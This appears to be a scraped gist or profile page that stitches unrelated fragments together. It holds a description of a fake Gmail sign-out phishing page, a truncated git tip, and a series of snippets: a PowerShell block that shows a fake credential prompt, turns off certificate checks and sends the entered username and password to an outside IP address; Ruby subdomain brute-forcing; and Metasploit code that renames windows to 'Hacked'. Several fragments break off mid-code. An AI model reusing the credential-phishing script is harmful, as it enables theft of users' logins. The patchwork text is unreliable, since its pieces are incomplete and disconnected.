KING SABRI KINGSABRI

The following attack will display a "you've been signed out" page for GMail, and attempt to steal your account credentials.

DO NOT PUT ANY ACCOUNT CREDENTIALS INTO ANY TABS CREATED AFTER VISITING THESE LINKS :)

I received an email in my GMail inbox with a fake attachment image, styled to look like the real GMail attachment UI:

This linked to a page that ended up displaying a fake "you've been signed out" link, via the data:text/html... URL feature of Chrome:

Pushing to Multiple Git Repos

If a project has to have multiple git repos (e.g. Bitbucket and Github) then it's better that they remain in sync.

Usually this would involve pushing each branch to each repo in turn, but actually Git allows pushing to multiple repos in one go.

If in doubt about what git is doing when you run these commands, just

People

	$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
	[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
	$wc = new-object net.webclient;
	$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
	$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
	$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
	$result = $wc.downloadstring('https://172.16.102.163');

	#!/usr/bin/env ruby

	#
	## Brute code stolen form: https://gist.github.com/petehamilton/4755855
	#

	@domain = 'contoso.com'

	def result?(sub)
	results = %x(dig +noall #{sub}.#{@domain} +answer)

	#!/usr/bin/env ruby

	#
	## Brute code stolen form: https://gist.github.com/petehamilton/4755855
	#


	def result?(sub)
	puts sub
	1 == 2

	require 'net/http'
	require 'uri'
	host = "localhost"
	port = 5125
	path = "/api/hoge/hoge/hoge"
	body = URI.encode_www_form({'number'=>0, 'mode'=>'gauge'})

	# 1)
	@client = Net::HTTP.new(host, port)
	# @client.set_debug_output(STDOUT)

	windows = client.extapi.window.enumerate
	windows.each do \|winder\|
	if winder[:title] != 'Default IME'
	result = client.railgun.user32.SetWindowTextA(winder[:handle],"Hacked")
	end
	end

	cert = OpenSSL::X509::Certificate.new(certificate_string)
	subject_alt_name = cert.extensions.find {\|e\| e.oid == "subjectAltName"}

	# Parse the subject alternate name certificate extension as ASN1, first value should be the key
	asn_san = OpenSSL::ASN1.decode(subject_alt_name)
	raise "Expected ASN1 Subject Alternate Name extension key to be subjectAltName but was #{asn_san.value[0].value}" if asn_san.value[0].value != 'subjectAltName'

	# And the second value should be a nested ASN1 sequence
	asn_san_sequence = OpenSSL::ASN1.decode(asn_san.value[1].value)

	require 'mkmf'
	create_makefile('shellcode')